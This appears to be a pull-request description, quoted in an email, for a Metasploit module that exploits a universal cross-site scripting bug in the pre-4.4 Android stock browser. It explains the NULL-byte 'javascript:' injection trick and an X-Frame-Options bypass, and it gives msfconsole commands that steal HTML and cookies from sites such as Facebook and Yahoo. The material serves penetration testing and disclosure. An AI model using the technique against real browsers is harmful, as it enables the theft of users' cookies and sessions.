Android < 4.4 AOSP (Stock) Browser UXSS: cross-domain cookie/response extraction module

I did not believe this at first, but after some testing it seems true: in AOSP browser before Android 4.4, you can load javascript into any arbitrary frame or window by prepending a NULL byte to a "javascript:..." string. This module automates loading and stealing HTML and cookies from cross-domain frames.

It was disclosed here few days ago: http://1337day.com/exploit/description/22581

I don't see a public advisory for this anywhere from the vendor. :(

Note: If the site you are trying to steal uses the X-Frame-Options header, you can enable `BYPASS_XFO` to serve a one-click exploit that pops open and reuses a window.

##### Verification

- [ ] Configure the module to steal the contents/cookies of `example.com`:

        msf> use auxiliary/gather/android_stock_browser_uxss
        msf> set TARGET_URLS http://example.com
        msf> run

- [ ] Run the module and browse to it in the Stock AOSP browser on any Android < 4.4
- [ ] You should see the captured HTML contents and (empty) cookie stored as loot

- [ ] Configure the module to use the XFO bypass and steal the contents/cookies of `http://www.google.com,https://m.facebook.com,https://www.yahoo.com`:

        msf> use auxiliary/gather/android_stock_browser_uxss
        msf> set BYPASS_XFO true
        msf> set TARGET_URLS http://www.google.com,https://m.facebook.com,https://www.yahoo.com
        msf> run

- [ ] Run the module and browse to it in the Stock AOSP browser on any Android < 4.4
- [ ] Click the link. The exploit takes a lonnng time but should eventually load each URL individually
- [ ] You should eventually see the captured HTML and (empty) cookie stored as loot

Yeah something along those lines that demos the seriousness of UXSS in general.
-- 
Sent from a tiny computer.
PGP KeyId: 4096R/F577904A
https://gist.github.com/todb-r7/84ae2e08eb4dafbc4822
Text (insecure): 512-438-9165